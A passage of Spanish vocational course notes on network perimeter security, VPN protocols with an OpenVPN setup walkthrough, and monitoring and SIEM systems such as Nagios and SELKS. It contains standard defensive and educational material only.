Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Apuntes M11 UF2

Descargar como pdf o txt
Descargar como pdf o txt
Está en la página 1de 141

Realizado por Ramón Alarcón Sánchez

ASIGNATURA ICA0 M11: Seguridad y alta disponibilidad

21-22) ICA0 M11-UF2: Seguridad activa y acceso remoto

S03. Seguridad Perimetral, acceso y monitorización

ICA0011-S03-C01-V01-Elementos básicos de la seguridad perimetral


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111806)

En este vídeo, Elementos básicos de la seguridad perimetral, se ve:

1. Seguridad Perimetral.
2. Elementos básicos.
3. Ejemplos de infraestructura.

Imagen 1

Seguridad perimetral

La seguridad perimetral corresponde a la integración de elementos y sistemas, tanto


electrónicos como mecánicos, para la protección de perímetros físicos, detección de tentativas
de intrusión o disuasión de intrusos en las instalaciones.

Podemos tener diferentes tipos:

→ Abiertos. Son los que dependen de las condiciones ambientales, como por ejemplo
infrarrojos, cámaras de videovigilancia… que puedan provocar falsas alarmas o falta de
sensibilidad en condiciones adversas. Por ejemplo, un infrarrojo, si está lloviendo
mucho, y no puede traspasar la luz por la gota de la lluvia no va a hacer la función para
la cual está implementado. Por su parte, si una cámara de vigilancia se empaña y no
graba bien no vale de nada.

→ Cerrados. Son los que no dependen de condiciones adversas, y controlan


exclusivamente el parámetro de control. Por ejemplo, lo que es toda nuestra red interna
o controles de acceso.

Página 1 de 141
Imagen 2

Elementos básicos que nos podemos encontrar en una red

Router. Este es un elemento básico de la red. Todo el mundo tiene un router en su casa, ya que
es el que nos provee nuestro ISP. ¿Por qué nos provee un router un ISP? Por la razón de que los
ISP son los que nos asignan una dirección IP a ese router (que puede ser pública o privada,
aunque las IP privadas tienen coste [¿quizá se quiera hacer referencia a las IP dedicadas?]), y el
ISP es el que hace la conexión desde nuestra red hacia fuera.

Nosotros siempre tenemos una IP pública que es diferente a la red interna que nosotros
tenemos, que suele ser una 192.168.1.lo_que_sea. ¿Por qué ocurre esto? Porque el router es el
que hace el nateo (de NAT - Network address translation - Traducción de direcciones de red);
esto es, el router cambia la dirección que viene del exterior para poder tener red internamente.

Imagen 3

Cortafuegos

Cortafuegos los tenemos de varios tipos: de aplicación o en hierro (como lo suelo llamar yo,
personalmente, que son hardware físico).

Como hardware físico podemos tener dispositivos de Palo Alto


(https://docs.paloaltonetworks.com/), de Check Point (https://www.checkpoint.com/es/), de
Cisco (https://www.cisco.com/), de Fortinet (https://www.fortinet.com/). Estos dispositivos se
encargan de controlar todo el tráfico que sale desde nuestra red al exterior, y lo que viene del
exterior hacia nuestra red.

Página 2 de 141
Por ejemplo (imagen 4), si nosotros tenemos nuestro servidor web detrás del cortafuegos, todas
las peticiones que haga nuestro servidor web, o que vengan desde el exterior, automáticamente
van a pasar siempre por el cortafuegos.

Imagen 4

Honeypot

Es un dispositivo que solemos poner de conejillo de indias. Permite recoger información de los
atacantes, como las técnicas que utilizan, muestras de spam, muestras de malware, o tendencias
de ataques.

Por tanto, el honeypot sirve para distraer a los atacantes de las máquinas más importantes del
sistema, avisando a los administradores para estar sobre aviso. Es decir, si yo coloco un
honeypot y están atacando al honeypot con diferentes técnicas, yo puedo intentar prevenir o
estar preparado por si el usuario encontrara un servidor y pudiera llegar a explotarlo de una
forma similar a como está explotando nuestro honeypot.

Imagen 5

Página 3 de 141
Servidor proxy

Un servidor proxy es una aplicación/dispositivo en el que todas las peticiones del cliente van a
pasar a través de un proxy para llegar al destino final, ya sea un servidor remoto o una
determinada URL.

Esto se suele usar muy a menudo, por ejemplo, cuando queremos restringir determinados
dominios en una empresa. Todas las peticiones del navegador de un usuario van a pasar por el
proxy. Ahí va a haber unas listas de control de acceso (ACLs - Access Control Lists), y en estas
listas de control de acceso yo voy a indicar si se puede acceder a esa página web o no.

Imagen 6

Host-Bastion (o Bastion host)

Un Host-Bastion es una aplicación que se localiza en un servidor con el fin de ofrecer seguridad
a la red interna, por lo que ha sido especialmente configurado para recepción de ataque,
generalmente provee un solo servicio, como por ejemplo suele ser un proxy.

Tenemos diferentes tipos de Host-Bastion:

Single-homed. Solamente disponen de una interfaz.

Multi-homed (también llamado Dual Host-Bastion, porque disponen de 2 interfaces


mínimo). Más de una interfaz de red.

Host interno. [Puede tener 1 o 2 interfaces por donde va a pasar todo el tráfico de
nuestra infraestructura].

Imagen 7

Página 4 de 141
https://en.wikipedia.org/wiki/Bastion_host

Bastion host

A bastion host is a special-purpose computer on a network specifically designed and configured


to withstand attacks. The computer generally hosts a single application or process, for example,
a proxy server or load balancer, and all other services are removed or limited to reduce the threat
to the computer. It is hardened in this manner primarily due to its location and purpose, which is
either on the outside of a firewall or inside of a demilitarized zone (DMZ) and usually involves
access from untrusted networks or computers. These computers are also equipped with special
networking interfaces to withstand high-bandwidth attacks through the internet.

Un bastion host es un ordenador de propósito especial en una red diseñado y configurado


específicamente para resistir ataques. El ordenador generalmente aloja una sola aplicación o
proceso, por ejemplo, un servidor proxy (proxy server) o un equilibrador de carga (load balancer),
y todos los demás servicios se eliminan o limitan para reducir la amenaza al ordenador. Se
endurece de esta manera principalmente debido a su ubicación y propósito, que está en el
exterior de un cortafuegos o en el interior de una zona desmilitarizada (DMZ - demilitarized zone
- perimeter network) y normalmente implica el acceso desde redes u ordenadores que no son de
confianza. Estos ordenadores también están equipados con interfaces de red especiales para
soportar ataques de gran ancho de banda a través de Internet.

Definitions

The term is generally attributed to a 1990 article discussing firewalls by Marcus J. Ranum, who
defined a bastion host as "a system identified by the firewall administrator as a critical strong
point in the network security. Generally, bastion hosts will have some degree of extra attention
paid to their security, may undergo regular audits, and may have modified software".

It has also been described as "any computer that is fully exposed to attack by being on the public
side of the DMZ, unprotected by a firewall or filtering router. Firewalls and routers, anything that
provides perimeter access control security can be considered bastion hosts. Other types of
bastion hosts can include web, mail, DNS, and FTP servers...Due to their exposure, a great deal
of effort must be put into designing and configuring bastion hosts to minimize the chances of
penetration."

Placement

There are two common network configurations that include bastion hosts and their placement.
The first requires two firewalls, with bastion hosts sitting between the first "outside world"
firewall, and an inside firewall, in a DMZ. Often, smaller networks do not have multiple firewalls,
so if only one firewall exists in a network, bastion hosts are commonly placed outside the firewall.

Examples

These are several examples of bastion host systems/services:

DNS (Domain Name System) server

Email server

FTP (File Transfer Protocol) server

Honeypot

Página 5 de 141
Proxy server

VPN (Virtual Private Network) server

Web server

Definiciones

El término se atribuye generalmente a un artículo de 1990 sobre cortafuegos (firewalls) escrito


por Marcus J. Ranum, que definió un bastion host como "un sistema identificado por el
administrador del cortafuegos como un punto fuerte crítico en la seguridad de la red.
Generalmente, los bastion hosts tendrán algún grado de atención adicional a su seguridad,
pueden someterse a auditorías regulares y pueden tener software modificado".

También se ha descrito como "cualquier ordenador que está totalmente expuesto a los ataques
por estar en el lado público de la DMZ, sin estar protegido por un cortafuegos (firewall) o un
router de filtrado (filtering router). Cortafuegos y routers (Firewalls and routers), cualquier cosa
que proporcione seguridad en el control de acceso perimetral puede ser considerada como
bastion hosts. Otros tipos de bastion hosts pueden ser los servidores web, de correo, DNS y FTP...
Debido a su exposición, hay que hacer un gran esfuerzo en el diseño y configuración de los
bastion hosts para minimizar las posibilidades de penetración".

Colocación (Placement)

Hay dos configuraciones de red comunes que incluyen bastion hosts y su colocación. La primera
requiere dos cortafuegos (firewalls), con bastion hosts situados entre el primer cortafuegos del
"mundo exterior" ("outside world" firewall) y un cortafuegos interior (inside firewall), en una
DMZ. A menudo, las redes más pequeñas no tienen múltiples cortafuegos, así que, si sólo existe
un cortafuegos en una red, los bastion hosts se colocan comúnmente fuera del cortafuegos.

Ejemplos

Estos son varios ejemplos de sistemas/servicios de host de bastión:

DNS (Domain Name System) server - Servidor DNS (Sistema de Nombres de Dominio)

Email server - Servidor de correo electrónico

FTP (File Transfer Protocol) server - Servidor FTP (Protocolo de transferencia de archivos)

Honeypot

Proxy server - Servidor proxy

VPN (Virtual Private Network) server - Servidor VPN (Red Privada Virtual)

Web server - Servidor web

Ejemplo de infraestructura

En este punto se ven diferentes escenarios que podemos encontrar.

Redes perimetrales independientes

Separa el tráfico de la navegación interna del tráfico de servicios al exterior. Permite administrar
los servicios sin estar en la misma red y sin pasar por internet. Adecuado para redes de alta
seguridad con requisitos de tráfico independiente. Alto y coste y alta complejidad.

Página 6 de 141
¿Por qué tiene un alto coste y una alta complejidad? Porque, al final, tenemos diferentes redes
con diferentes redes perimetrales, y esto requiere de diferente hardware, más determinados
usuarios que gestionen y parametricen estas configuraciones. Pero siempre nos va a dar una
seguridad mayor, porque (ver imagen 8) todo lo que está en Navegación externa podemos
tenerlo muy bien controlado antes de que llegue a la Administración de servicios, y viceversa.

O (ver imagen 8) todo lo que salga de la Red interna va a pasar por su cortafuegos, si quiere ir a
la Red perimetral 3 va a pasar por un segundo router (Router interno 2), para luego llegar a un
router exterior (Router externo 2), que es el que da salida a internet.

Imagen 8

Redes perimetrales independientes

En la imagen 9 se ve que tenemos Internet proveedor 1 e Internet proveedor 2 (pueden ser de


distintas compañías). ¿Por qué hay 2 líneas? Por backup. En caso de que una falle levanta la otra.
Todo esto va a ir a una Red perimetral, donde hay un Router interno, que ya accede a nuestra
Red interna. Esto tiene 3 interfaces: exterior, perimetral e interior. Mayor carga sobre el router.
Proporciona casi la misma seguridad que [2] routers. Configuración de las tablas muy complejas
(la configuración es mucho más compleja que cualquier otra configuración más similar, pero más
barato que otras topologías de red).

Imagen 9

Página 7 de 141
Red perimetral con un solo router

3 interfaces. Igualmente tenemos la red exterior, perimetral e interior.

Imagen 10

ICA0011-S03-C01-V02-Redes Privadas Virtuales VPN


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111807)

En este vídeo, Redes Privadas Virtuales VPN, se ve:

1. VPN
2. Protocolos VPN
3. Instalación y configuración

Imagen 11

VPN

Una VPN (Virtual private network - Red privada virtual) la podemos definir como una extensión
de una red de área local (LAN - Local Area Network) a la cual nos podremos conectar desde

Página 8 de 141
cualquier parte o para la cual esté configurada, generando un túnel desde el cliente a la red
local. Una VPN encapsula y cifra la información con el algoritmo AES-256 (esto todo siempre
dependiendo del protocolo que estemos utilizando).

Las redes virtuales VPN son muy utilizadas en entornos empresariales, cuando un empleado
trabaja desde su casa, o está en otra oficina de un cliente, con el fin de que se pueda conectar a
la infraestructura de su red, de su compañía. Es decir, casi todas las compañías usan un cliente
VPN (de Palo Alto Networks, Fortinet, Sophos… hay infinidades de productos de VPN) en el que
se suelen validar con los datos del Active Directory, el usuario que le crean al empleado nada
más entrar en la compañía, y ese es luego el que utilizan para hacer funcionar el cliente,
pudiendo llegar a estar en cualquier parte del mundo —siempre y cuando no tengamos
restricciones de IP por países— nos podríamos conectar a la red interna de nuestra compañía.
No es que te conectes a la red interna como tal; o sea, nosotros podemos decirle que a esa VPN
solamente te vas a conectar a la red local, pero vas a conectarte a esta VLAN, por ejemplo, y no
a toda la red. Vas a tener acceso limitado a la información, pero no como si estuvieras en las
oficinas.

Las VPN también son muy utilizadas para unir sedes, y crear como una especie red en estrella
de las diferentes sedes de nuestra compañía. Suponiendo que tenemos sedes en Barcelona,
Madrid, Valencia y Cáceres: si queremos tener las 4 sedes interconectadas, lo que vamos a hacer
es levantar túneles VPN de punta a punta. Por ejemplo, Barcelona-Madrid; Valencia-Madrid;
Cáceres-Madrid. Es decir, lo tenemos que centralizar en una, para que podamos tener acceso a
todo.

Imagen 12

Protocolos

Principales protocolos que se usan para las VPN:

IPsec - Internet Protocol Security (Seguridad del Protocolo de Internet) [En el vídeo pone
IPPSEC]. Es una extensión del protocolo IP, que tiene por objeto garantizar
comunicaciones privadas y seguras mediante el uso de servicio de seguridad
criptográfico.

L2TP - Layer 2 Tunneling Protocol (Protocolo de túnel de capa 2). Es un protocolo de


encapsulación que, aunque no ofrece ninguna confidencialidad o autenticación por sí
mismo, se basa en el protocolo de criptografía IPsec para proporcionar privacidad a los
usuarios remotos.

PPTP - Point-to-Point Tunneling Protocol (Protocolo de túnel punto a punto). Es un


protocolo VPN desarrollado como una extensión del PPP (Point-to-Point Protocol -
Protocolo Punto a Punto). Por tener una criptografía básica tiene una sobrecarga
relativamente baja, lo que lo hace más rápido que otros protocolos VPN. El PPTP

Página 9 de 141
encapsula los protocolos IP en datagramas de PPP. Después, el servidor de
encapsulación efectúa todas las comprobaciones de seguridad, haciendo más seguro el
envío de los datos.

VPN SSL. (SSL - Secure Sockets Layer - capa de puertos seguros | TLS - Transport Layer
Security - Seguridad de la capa de transporte | Recuérdese que Transport Layer Security
(TLS) es el sucesor del ya obsoleto Secure Sockets Layer (SSL)). VPN SSL es un formato
que puede ser utilizado de 2 maneras: algunas soluciones ofrecen el acceso
directamente a la web sin necesidad de instalación del cliente de conexión, y otras
mediante cliente (esta es la que hemos estado hablando normalmente). La base del
transporte de la información se da a través de SSL, garantizando la comunicación segura
entre los puntos involucrados.

A día de hoy, lo más se suele utilizar siempre es IPsec y VPN SSL.

Respecto a L2TP y PPTP, si queremos montar algo en casa rápido y fácil podemos usarlas. Pero
estos tipos de protocolos ya no se suelen utilizar.

Imagen 13

Instalación y configuración

El más utilizado open-source software (software de código abierto) es OpenVPN. Tenemos


infinidades de clientes VPN, de sistemas VPN, podemos por ejemplo usar NordVPN para salir
desde diferentes países, PIA VPN (Private Internet Access VPN) es otro servicio proveedor de
VPN para poder salir desde diferentes países, pero si nosotros quisiéramos montar una VPN en
nuestro domicilio, de manera fácil y sencilla, OpenVPN es open-source y es lo que más se utiliza.

https://github.com/angristan/openvpn-install → es para hacer una instalación rápida y


configuración de nuestro cliente VPN.

Imagen 14

Página 10 de 141
A continuación, en el vídeo se muestra el Terminal de Kali Linux. Y en el vídeo se hace un ls
mientras se dice aquí ya lo tengo clonado el repositorio, que es con git clone

Luego se hace cd openvpn-install/ para entrar en el directorio openvpn-install.


Seguidamente se hace un ls. Habría que ejecutar openvpn-install.sh (imagen 15).

Imagen 15

Yo aquí no tengo abiertos los puertos ni nada. Es decir, que aunque lo acabe de configurar no va
a funcionar porque no tengo abierto nada en mi router.

Primero, se hace ./openvpn-install.sh (imagen 16).

Imagen 16

Luego se agrega un nuevo usuario. Para ello, se selecciona 1) Add a new user y seguidamente 1)
Add a passwordless client (imagen 17).

Imagen 17

Página 11 de 141
La primera vez se configuran más opciones: se configuran los puertos, si se desea IPv6 o no…
Pero como había realizado la configuración previamente, aquí lo que se ha hecho al final es crear
los diferentes usuarios que vamos a utilizar para conectarnos a la VPN.

Si accedemos a la ruta de root —cd /root/— se ve que aparece lasalle.ovpn

Imagen 18

Entonces, para la realizar la conexión se pone openvpn --config lasalle.ovpn

Tras esto intentaría conectar. Se ve la IP pública —en este caso, 139.47.68.27— y el puerto
—:1194—. Pero no va a conectar, porque está pidiendo el puerto 1194 UDP, y en el router no
tengo abierto nada.

Imagen 19

Página 12 de 141
Este sistema es el que también se utiliza en la plataforma de Hack The Box
(https://www.hackthebox.com/) para poder atacar a las máquinas de su plataforma.

En el vídeo, primero se muestra el contenido de la carpeta Downloads con ls. Y se dice que
FrankyTech.ovpn es el cliente de la plataforma (imagen 20).

Imagen 20

Luego, se hace login en Hack The Box (https://app.hackthebox.com/login).

En el menú de la izquierda se le da a Labs → Machines → All. Luego, hay que suponer que se
quiere ver o atacar a la máquina Player, con IP 10.10.10.145 (imagen 21).

Imagen 21

Nosotros, primeramente, nos conectamos a la VPN que nos ofrece Hack The Box, con openvpn
--config FrankyTech.ovpn (imagen 22).

Imagen 22

Página 13 de 141
Imagen 23

Desde otra Terminal, se ha hecho ping 10.10.10.145, y se ve que (gracias a la VPN) se


tiene conexión a la IP 10.10.10.145 (imagen 24).

Imagen 24

Página 14 de 141
Si yo me desconecto de la VPN, yo ya no llego a esta red (10.10.10.145)

Imagen 25

Es uno de los sistemas para los cuales podemos usar a OpenVPN.

Respecto a NordVPN, es un proveedor de VPN donde tenemos diferentes países para poder salir
por diferentes IPs.

ICA0011-S03-C01-V03-Sistemas de monitorización
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111808)

En este vídeo, Sistemas de monitorización, se ve:

1. ¿Qué es un sistema de monitorización?


2. Protocolos
3. Herramientas de monitorización
4. Instalación y configuración

Imagen 26

Página 15 de 141
¿Qué es un sistema de monitorización?

Un sistema de monitorización, como su propio nombre indica, son sistemas usados para
monitorizar dispositivos electrónicos, sensores, redes empresariales, sistemas SCADA
(Supervisory control and data acquisition - Control de supervisión y adquisición de datos), etc.

Al final, nosotros, en cualquier infraestructura medianamente grande, vamos a tener unos


sistemas de monitorización que van a controlar los eventos que surgen dentro de nuestra red y
a través de nuestros dispositivos, bien sean, por ejemplo, que envíen información a través de
SNMP (Simple Network Management Protocol - Protocolo simple de administración de red) un
[¿switch?] a un SIEM (Security information and event management - Gestión de información y
eventos de seguridad); a través de una API; eventos de acceso a la red, de escaneos, etc. Todo
esto siempre va a ser controlado a través de un dashboard, porque si no sería imposible
acceder/gestionar a cada uno de los dashboard que nos trae cada uno de los dispositivos de
nuestra red.

Imagen 27

Protocolos

Principales protocolos

Cuando hablamos de los principales protocolos es qué tipo de protocolos vamos a poder
monitorizar o a través de qué protocolos vamos a poder enviar los eventos. Hoy día se puede
monitorizar todo prácticamente.

HTTP/HTTPS. Podemos enviar eventos de log a través de un [¿?] y luego representarlos


a través de un dashboard.

SNMPv3. Envío de información a través de SNMP. Pues, por ejemplo, muchos de los
switches o configuraciones que yo he realizado la información que envían para ver el
estado de ese dispositivo lo envían a través del protocolo SNMP. Con este protocolo hay
que tener mucho cuidado porque siempre hay que ponerle credenciales, ya que, de lo
contrario, cualquier atacante que estuviera dentro de la red haciendo una serie de
pruebas contra el protocolo SNMP podría obtener más información de la debida.

Media Streaming. También podemos monitorizar Media Streaming.

TCP/UDP.

Página 16 de 141
Imagen 28

Herramientas de monitorización

Se muestra (imagen 29) un sistema muy famoso de monitorización: Nagios, que es open source.
A través de un agente que se instala en diferentes clientes podemos llegar a alimentar a base de
logs, y luego tener representado en un dashboard, toda la información de nuestra red o de
diferentes servidores que queramos tener controlados. No siempre vamos a tener controlado
todo.

Imagen 29

SIEM

Un SIEM (Security information and event management - Gestión de información y eventos de


seguridad) es donde yo voy a enviar toda la información de los diferentes dispositivos de mi red.

https://en.wikipedia.org/wiki/Security_information_and_event_management

Security information and event management (SIEM) is a field within the field of computer
security, where software products and services combine security information management (SIM)
and security event management (SEM). They provide real-time analysis of security alerts

Página 17 de 141
generated by applications and network hardware. Vendors sell SIEM as software, as appliances,
or as managed services; these products are also used to log security data and generate reports
for compliance purposes. The term and the initialism SIEM was coined by Mark Nicolett and
Amrit Williams of Gartner in 2005.

La gestión de información y eventos de seguridad (SIEM) es un campo dentro de la seguridad


informática, donde los productos y servicios de software combinan la gestión de información de
seguridad (SIM - security information management) y la gestión de eventos de seguridad (SEM -
security event management). Proporcionan un análisis en tiempo real de las alertas de seguridad
generadas por las aplicaciones y el hardware de la red. Los proveedores venden SIEM como
software, como aparatos o como servicios gestionados; estos productos también se utilizan para
registrar datos de seguridad y generar informes con fines de cumplimiento. El término y la
inicialización SIEM fueron acuñados por Mark Nicolett y Amrit Williams de Gartner en 2005.

The acronyms SEM, SIM and SIEM have sometimes been used interchangeably, but generally
refer to the different primary focus of products:

Log management: Focus on simple collection and storage of log messages and audit trails

Security information management (SIM): Long-term storage as well as analysis and reporting of
log data.

Security event manager (SEM): Real-time monitoring, correlation of events, notifications and
console views.

Security information and event management (SIEM): Combines SIM and SEM and provides real-
time analysis of security alerts generated by network hardware and applications.

Managed Security Service: (MSS) or Managed Security Service Provider: (MSSP): The most
common managed services appear to evolve around connectivity and bandwidth, network
monitoring, security, virtualization, and disaster recovery.

Security as a service (SECaaS): These security services often include authentication, anti-virus,
anti-malware/spyware, intrusion detection, Penetration testing and security event
management, among others.

In practice many products in this area will have a mix of these functions, so there will often be
some overlap – and many commercial vendors also promote their own terminology. Oftentimes
commercial vendors provide different combinations of these functionalities which tend to
improve SIEM overall. Log management alone doesn't provide real-time insights on network
security, SEM on its own won't provide complete data for deep threat analysis. When SEM and
log management are combined, more information is available for SIEM to monitor.

A key focus is to monitor and help manage user and service privileges, directory services and
other system-configuration changes; as well as providing log auditing and review and incident
response.

Los acrónimos SEM (security event management - gestión de eventos de seguridad), SIM
(security information management - gestión de la información de seguridad) y SIEM (security
information and event management - información de seguridad y gestión de eventos) se han
utilizado a veces indistintamente, pero en general se refieren al diferente enfoque principal de
los productos:

Página 18 de 141
Gestión de registros - Log management: Se centra en la simple recopilación y almacenamiento
de mensajes de registro y registros de auditoría

Gestión de la información de seguridad (SIM - Security information management):


Almacenamiento a largo plazo, así como análisis e informes de los datos de registro.

Gestión de eventos de seguridad (SEM - Security event manager): Supervisión en tiempo real,
correlación de eventos, notificaciones y vistas de la consola.

Gestión de eventos e información de seguridad (SIEM - Security information and event


management): Combina SIM y SEM y proporciona análisis en tiempo real de las alertas de
seguridad generadas por el hardware y las aplicaciones de la red.

Servicio de seguridad gestionado: (MSS - Managed Security Service) o proveedor de servicios de


seguridad gestionados: (MSSP - Managed Security Service Provider): Los servicios gestionados
más comunes parecen evolucionar en torno a la conectividad y el ancho de banda, la supervisión
de la red, la seguridad, la virtualización y la recuperación de desastres.

Seguridad como servicio (SECaaS - Security as a service): Estos servicios de seguridad suelen
incluir autenticación, antivirus, antimalware/spyware, detección de intrusiones, pruebas de
penetración y gestión de eventos de seguridad, entre otros.

En la práctica, muchos productos de este ámbito tendrán una mezcla de estas funciones, por lo
que a menudo habrá cierto solapamiento, y muchos proveedores comerciales también
promueven su propia terminología. A menudo, los proveedores comerciales ofrecen diferentes
combinaciones de estas funcionalidades que tienden a mejorar el SIEM en general. La gestión de
registros por sí sola no proporciona información en tiempo real sobre la seguridad de la red, y el
SEM por sí solo no proporciona datos completos para un análisis profundo de las amenazas.
Cuando el SEM y la gestión de registros se combinan, se dispone de más información para que el
SIEM la supervise.

Un objetivo clave es supervisar y ayudar a gestionar los privilegios de los usuarios y los servicios,
los servicios de directorio y otros cambios en la configuración del sistema, así como proporcionar
auditoría y revisión de registros y respuesta a incidentes.

Capabilities

Data aggregation: Log management aggregates data from many sources, including network,
security, servers, databases, applications, providing the ability to consolidate monitored data to
help avoid missing crucial events.

Correlation: Looks for common attributes, and links events together into meaningful bundles.
This technology provides the ability to perform a variety of correlation techniques to integrate
different sources, in order to turn data into useful information. Correlation is typically a function
of the Security Event Management portion of a full SIEM solution

Alerting: The automated analysis of correlated events

Dashboards: Tools can take event data and turn it into informational charts to assist in seeing
patterns, or identifying activity that is not forming a standard pattern.

Compliance: Applications can be employed to automate the gathering of compliance data,


producing reports that adapt to existing security, governance and auditing processes.

Página 19 de 141
Retention: Employing long-term storage of historical data to facilitate correlation of data over
time, and to provide the retention necessary for compliance requirements. Long term log data
retention is critical in forensic investigations as it is unlikely that discovery of a network breach
will be at the time of the breach occurring.

Forensic analysis: The ability to search across logs on different nodes and time periods based on
specific criteria. This mitigates having to aggregate log information in your head or having to
search through thousands and thousands of logs.

Capacidades

Agregación de datos (Data aggregation): La gestión de registros (log management) agrega datos
de muchas fuentes, incluyendo la red, la seguridad, los servidores, las bases de datos y las
aplicaciones, proporcionando la capacidad de consolidar los datos supervisados para ayudar a
evitar que se pierdan eventos cruciales.

Correlación (Correlation): Busca atributos comunes y vincula los eventos en paquetes


significativos. Esta tecnología proporciona la capacidad de realizar una variedad de técnicas de
correlación para integrar diferentes fuentes, con el fin de convertir los datos en información útil.
La correlación suele ser una función de la parte de gestión de eventos de seguridad de una
solución SIEM completa

Alerta (Alerting): El análisis automatizado de los eventos correlacionados

Cuadros de mando (Dashboards): Las herramientas pueden tomar los datos de los eventos y
convertirlos en gráficos informativos para ayudar a ver patrones, o identificar la actividad que
no está formando un patrón estándar.

Cumplimiento (Compliance): Las aplicaciones pueden emplearse para automatizar la


recopilación de datos de cumplimiento, produciendo informes que se adapten a los procesos de
seguridad, gobernanza y auditoría existentes.

Conservación (Retention): Emplear el almacenamiento a largo plazo de los datos históricos para
facilitar la correlación de los datos a lo largo del tiempo, y proporcionar la retención necesaria
para los requisitos de cumplimiento. La retención de datos de registro a largo plazo es
fundamental en las investigaciones forenses, ya que es poco probable que se descubra una
brecha en la red en el momento en que se produce.

Análisis forense (Forensic analysis): La capacidad de buscar en los registros de diferentes nodos
y periodos de tiempo basándose en criterios específicos. Esto evita tener que agregar la
información de los registros en la cabeza o tener que buscar en miles y miles de registros.

Components

SIEM architectures may vary by vendor; however, generally, essential components comprise the
SIEM engine. The essential components of a SIEM are as follows:

A data collector forwards selected audit logs from a host (agent based or host based log
streaming into index and aggregation point)

An ingest and indexing point aggregation point for parsing, correlation, and data normalization

A search node that is used to for visualization, queries, reports, and alerts (analysis take place on
a search node)

Página 20 de 141
Componentes

Las arquitecturas SIEM pueden variar según el proveedor; sin embargo, generalmente, los
componentes esenciales comprenden el motor SIEM. Los componentes esenciales de un SIEM
son los siguientes:

Un recolector de datos (data collector) reenvía los registros de auditoría seleccionados (selected
audit logs) desde un host (flujo de registros basado en agentes o en el host a un punto de
indexación y agregación - agent based or host based log streaming into index and aggregation
point)

Un punto de ingestión e indexación para el análisis sintáctico, la correlación y la normalización


de los datos

Un nodo de búsqueda que se utiliza para la visualización, las consultas, los informes y las alertas
(el análisis tiene lugar en un nodo de búsqueda)

En la imagen 30 se ven varios ejemplos:

Alien Vault - Ahora AT&T Cybersecurity

https://en.wikipedia.org/wiki/AT%26T_Cybersecurity

AT&T Cybersecurity

AT&T Cybersecurity is a developer of commercial and open source services to manage


cyber attacks, including the Open Threat Exchange, the world's largest crowd-sourced
computer-security platform. In July 2017, the platform had 65,000 participants who
contributed more than 14 million threat indicators daily. The company has raised $116
million since it was founded as AlienVault in 2007. On July 10, 2018, it was acquired by
AT&T Communications, becoming a wholly owned subsidiary when the transaction was
completed on August 22, 2018. In February 2019, AlienVault was renamed AT&T
Cybersecurity.

AT&T Cybersecurity es un desarrollador de servicios comerciales y de código abierto para


gestionar los ciberataques, entre los que se encuentra Open Threat Exchange, la mayor
plataforma de seguridad informática de código abierto del mundo. En julio de 2017, la
plataforma contaba con 65.000 participantes que aportaban más de 14 millones de
indicadores de amenazas diariamente. La empresa ha recaudado 116 millones de
dólares desde su fundación como AlienVault en 2007. El 10 de julio de 2018, fue adquirida
por AT&T Communications, convirtiéndose en una subsidiaria de propiedad total cuando
la transacción se completó el 22 de agosto de 2018. En febrero de 2019, AlienVault pasó
a llamarse AT&T Cybersecurity.

IBM QRadar Este es muy caro, pero es muy bueno viendo el rendimiento que nos facilita.

Además, se muestran ArcSight, OSSEC y Apache Metron.

De este tipo de software hay una infinidad en el mercado. En todo caso, lo que reciben es toda
la información de todos los dispositivos, bien sea a través de eventos, porque lee logs o porque
los envíe a través del protocolo SNMP. Y ahora muchos dispositivos ya permiten enviar la
información directamente con la propia API que nos ofrece. Es decir, ponemos un ejemplo:
Forescout (control de acceso a la red) permite enviar toda la información que él recoge vía API
a un SIEM. A lo mejor no va a funcionar con todos los SIEM, pero sí con casi todos. Entonces,

Página 21 de 141
nosotros vamos a alimentar el SIEM a través de la información de los dispositivos de la red. Todo
esto se centraliza dentro de un dashboard donde nosotros vamos a poder trabajar las alertas
que se vayan generando, o tener una capacidad de respuesta contra un incidente, que aquí es
donde entrar en juego los IR - Incident Response -estos últimos monitorizan todas las alertas y
en cuanto detectan una alerta que no debería haber ocurrido se ponen a trabajar para mitigar
ese posible ataque-.

Si no tuviéramos todo centralizado la gestión sería imposible, porque no se puede acceder a


200 000 dashboard de diferentes dispositivos, por eso todo siempre se centraliza en un SIEM.

Imagen 30

Instalación y configuración

Se muestra el ejemplo con SELKS.

https://www.stamus-networks.com/selks

SELKS is a free, open-source, and turn-key Suricata network intrusion detection/protection


system (IDS/IPS), network security monitoring (NSM) and threat hunting implementation created
and maintained by Stamus Networks.

Released under GPLv3 license, the live distribution is available as either a live and installable
Debian-based ISO or via Docker compose on any Linux operating system.

SELKS es un sistema de detección/protección de intrusos en red (IDS-Intrusion Detection


System/IPS-Intrusion Prevention System), monitorización de la seguridad de la red (NSM -
Network Security Manager) y caza de amenazas gratuito creado y mantenido por Stamus
Networks. Es gratuito, de código abierto y listo para usar Suricata.

Publicado bajo la licencia GPLv3, la live distribution está disponible como una ISO basada en
Debian que se puede instalar en vivo/live o a través de Docker compose en cualquier sistema
operativo Linux.

Página 22 de 141
SELKS is comprised of the following major components:

Suricata - Ready to use Suricata

Elasticsearch - Search engine

Logstash - Log injection

Kibana - Custom dashboards and event exploration

Scirius CE - Suricata ruleset management and Suricata threat hunting interface

In addition, SELKS now includes Arkime, EveBox and CyberChef.

SELKS está formado por los siguientes componentes principales:

Suricata - Listo para usar Suricata

Elasticsearch - Motor de búsqueda

Logstash - Inyección de registros

Kibana - Cuadros de mando (dashboards) personalizados y exploración de eventos

Scirius CE - Gestión del conjunto de reglas de Suricata e interfaz de caza de amenazas de Suricata

Además, SELKS incluye ahora Arkime, EveBox y CyberChef.

https://en.wikipedia.org/wiki/Suricata_(software)

Suricata is an open source-based intrusion detection system (IDS) and intrusion prevention
system (IPS). It was developed by the Open Information Security Foundation (OISF). A beta
version was released in December 2009, with the first standard release following in July 2010.

Suricata es un sistema de detección de intrusiones (IDS) y un sistema de prevención de intrusiones


(IPS) de código abierto. Fue desarrollado por la Open Information Security Foundation (OISF). En
diciembre de 2009 se publicó una versión beta y en julio de 2010 la primera versión estándar.

Imagen 31

Página 23 de 141
En https://www.stamus-networks.com/selks se ofrece una Imagen completa con escritorio
(Complete Image with Desktop) y una Imagen completa sin escritorio (Complete Image without
Desktop). En el vídeo se muestra la Imagen completa con escritorio.

Véase también: https://github.com/StamusNetworks/SELKS y


https://github.com/StamusNetworks/SELKS/wiki

